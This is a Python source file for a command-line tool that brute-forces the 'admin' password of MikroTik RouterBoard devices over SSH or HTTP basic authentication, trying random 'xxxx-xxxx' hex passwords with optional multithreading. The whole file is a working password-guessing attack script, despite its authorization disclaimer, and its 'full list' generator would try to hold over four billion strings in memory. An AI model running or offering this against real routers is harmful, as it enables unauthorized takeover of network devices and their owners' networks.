network/mikrotikbruteforce.py
2026-05-08 17:47:42 -05:00

348 lines
12 KiB
Python

"""
MikroTik RouterBoard Password Brute Force Tool
This tool attempts to find the admin password for a MikroTik device
by randomly generating and testing password combinations.
It tries all possible 4-byte hex combinations (in random order) which matches
the MikroTik password format "XXXX-XXXX".
USAGE: Only use on devices you own or have authorization to access.
Unauthorized access to computer systems is illegal.
"""
import socket
import sys
import time
import random
import string
from threading import Thread, Lock
import queue
class MikroTikBruteForce:
"""Brute force MikroTik RouterBoard passwords."""
def __init__(self, host, port=22, timeout=5, use_http=False):
"""
Initialize the brute force tool.
Args:
host (str): IP address of the device
port (int): Port to connect to (22 for SSH, 80 for HTTP)
timeout (int): Connection timeout in seconds
use_http (bool): Use HTTP instead of SSH
"""
self.host = host
self.port = port
self.timeout = timeout
self.use_http = use_http
self.username = "admin"
self.found_password = None
self.attempts = 0
self.lock = Lock()
def generate_random_passwords(self):
"""
Generate all possible 4-byte hex passwords in random order.
Yields passwords in the format "XXXX-XXXX" where X is a hex digit.
This covers all 65,536^2 possible combinations (4,294,967,296 passwords).
For practicality, we generate them randomly.
Yields:
str: A password in format "xxxx-xxxx"
"""
# Generate all possible 4-hex-digit combinations
hex_digits = string.hexdigits.lower()[:16] # 0-9, a-f
# Create all possible 8-digit hex strings
all_combinations = []
for i in range(0x10000): # 65536 combinations for first 4 digits
for j in range(0x10000): # 65536 combinations for last 4 digits
hex_str = f"{i:04x}{j:04x}"
all_combinations.append(hex_str)
# Randomize the order
random.shuffle(all_combinations)
for hex_str in all_combinations:
yield f"{hex_str[:4]}-{hex_str[4:]}"
def generate_streaming_random_passwords(self):
"""
Generate random 4-byte hex passwords on-the-fly (infinite stream).
This is more memory efficient for large-scale brute forcing.
Yields:
str: A password in format "xxxx-xxxx"
"""
seen = set()
while len(seen) < 0x100000000: # 4,294,967,296 possible passwords
# Generate random 8-digit hex string
random_val1 = random.randint(0, 0xFFFF)
random_val2 = random.randint(0, 0xFFFF)
hex_str = f"{random_val1:04x}{random_val2:04x}"
if hex_str not in seen:
seen.add(hex_str)
yield f"{hex_str[:4]}-{hex_str[4:]}"
def try_password_ssh(self, password):
"""
Try connecting with SSH.
Args:
password (str): Password to try
Returns:
bool: True if successful, False otherwise
"""
try:
import paramiko
except ImportError:
print("Error: paramiko not installed. Install with: pip install paramiko")
return False
try:
client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
client.connect(
self.host,
port=self.port,
username=self.username,
password=password,
timeout=self.timeout,
allow_agent=False,
look_for_keys=False,
)
client.close()
return True
except paramiko.AuthenticationException:
return False
except Exception:
return False
def try_password_http(self, password):
"""
Try connecting via HTTP (WebFig).
Args:
password (str): Password to try
Returns:
bool: True if successful, False otherwise
"""
try:
import requests
from requests.auth import HTTPBasicAuth
except ImportError:
print("Error: requests not installed. Install with: pip install requests")
return False
try:
response = requests.get(
f"http://{self.host}:{self.port}/",
auth=HTTPBasicAuth(self.username, password),
timeout=self.timeout,
)
return response.status_code == 200
except Exception:
return False
def try_password(self, password):
"""Try a password using the configured method."""
if self.use_http:
return self.try_password_http(password)
else:
return self.try_password_ssh(password)
def brute_force(self, num_threads=1, memory_efficient=False):
"""
Brute force the password by trying random combinations.
Args:
num_threads (int): Number of concurrent threads to use
memory_efficient (bool): Use streaming random generation (memory efficient)
Returns:
str: Password if found, None otherwise
"""
print(f"[*] Starting brute force on {self.host}:{self.port}")
print(f"[*] Method: {'HTTP/WebFig' if self.use_http else 'SSH'}")
print(f"[*] Threads: {num_threads}")
print(f"[*] Memory efficient: {memory_efficient}")
print(f"[*] Trying random passwords in format 'xxxx-xxxx'")
print()
start_time = time.time()
if memory_efficient:
password_generator = self.generate_streaming_random_passwords()
else:
password_generator = self.generate_random_passwords()
if num_threads == 1:
return self._brute_force_single_thread(password_generator, start_time)
else:
return self._brute_force_multi_thread(password_generator, num_threads, start_time)
def _brute_force_single_thread(self, password_generator, start_time):
"""Single-threaded brute force."""
for password in password_generator:
with self.lock:
self.attempts += 1
if self.attempts % 100 == 0:
elapsed = time.time() - start_time
rate = self.attempts / elapsed if elapsed > 0 else 0
print(
f"[*] Attempt {self.attempts} ({rate:.1f} pwd/sec) - "
f"Elapsed: {elapsed:.1f}s - Last tried: {password}"
)
if self.try_password(password):
elapsed = time.time() - start_time
print()
print(f"[+] SUCCESS! Found password: {password}")
print(f"[+] Total attempts: {self.attempts}")
print(f"[+] Time elapsed: {elapsed:.2f} seconds")
print(f"[+] Rate: {self.attempts/elapsed:.1f} passwords/second")
return password
print("[-] Brute force complete. Password not found.")
return None
def _brute_force_multi_thread(self, password_generator, num_threads, start_time):
"""Multi-threaded brute force."""
password_queue = queue.Queue(maxsize=1000)
result_queue = queue.Queue()
# Producer thread
def producer():
for password in password_generator:
if result_queue.empty(): # Stop if password found
password_queue.put(password)
# Worker threads
def worker():
while True:
try:
password = password_queue.get(timeout=1)
except queue.Empty:
break
with self.lock:
self.attempts += 1
if self.attempts % 100 == 0:
elapsed = time.time() - start_time
rate = self.attempts / elapsed if elapsed > 0 else 0
print(
f"[*] Attempt {self.attempts} ({rate:.1f} pwd/sec) - "
f"Last tried: {password}"
)
if self.try_password(password):
result_queue.put(password)
print()
print(f"[+] SUCCESS! Found password: {password}")
return
password_queue.task_done()
# Start threads
producer_thread = Thread(target=producer, daemon=True)
producer_thread.start()
worker_threads = [Thread(target=worker, daemon=True) for _ in range(num_threads)]
for thread in worker_threads:
thread.start()
# Wait for result or completion
producer_thread.join(timeout=3600)
for thread in worker_threads:
thread.join(timeout=10)
if not result_queue.empty():
password = result_queue.get()
elapsed = time.time() - start_time
print(f"[+] Total attempts: {self.attempts}")
print(f"[+] Time elapsed: {elapsed:.2f} seconds")
print(f"[+] Rate: {self.attempts/elapsed:.1f} passwords/second")
return password
print("[-] Brute force complete. Password not found.")
return None
def main():
"""Main entry point."""
print("MikroTik RouterBoard Password Brute Force Tool")
print("=" * 55)
print()
print("⚠️ WARNING: Only use on devices you own or have authorization to access.")
print()
if len(sys.argv) < 2:
print("Usage:")
print(" python script.py <HOST> [OPTIONS]")
print()
print("Arguments:")
print(" HOST IP address of MikroTik device (e.g., 192.168.88.1)")
print()
print("Options:")
print(" --port PORT Port number (default: 22 for SSH, 80 for HTTP)")
print(" --method METHOD 'ssh' or 'http' (default: ssh)")
print(" --threads N Number of concurrent threads (default: 1)")
print(" --memory-efficient Use streaming password generation (memory efficient)")
print()
print("Examples:")
print(" python script.py 192.168.88.1")
print(" python script.py 192.168.88.1 --port 22 --method ssh")
print(" python script.py 192.168.88.1 --port 80 --method http --threads 4")
print(" python script.py 192.168.88.1 --memory-efficient --threads 8")
print()
print("Password space: 65,536² = 4,294,967,296 possible 'xxxx-xxxx' passwords")
sys.exit(1)
host = sys.argv[1]
port = 22
method = "ssh"
threads = 1
memory_efficient = False
# Parse options
i = 2
while i < len(sys.argv):
if sys.argv[i] == "--port":
port = int(sys.argv[i + 1])
i += 2
elif sys.argv[i] == "--method":
method = sys.argv[i + 1].lower()
i += 2
elif sys.argv[i] == "--threads":
threads = int(sys.argv[i + 1])
i += 2
elif sys.argv[i] == "--memory-efficient":
memory_efficient = True
i += 1
else:
print(f"Unknown option: {sys.argv[i]}")
sys.exit(1)
if method not in ["ssh", "http"]:
print(f"Error: Method must be 'ssh' or 'http', not '{method}'")
sys.exit(1)
brute_forcer = MikroTikBruteForce(
host, port=port, use_http=(method == "http")
)
brute_forcer.brute_force(num_threads=threads, memory_efficient=memory_efficient)
if __name__ == "__main__":
main()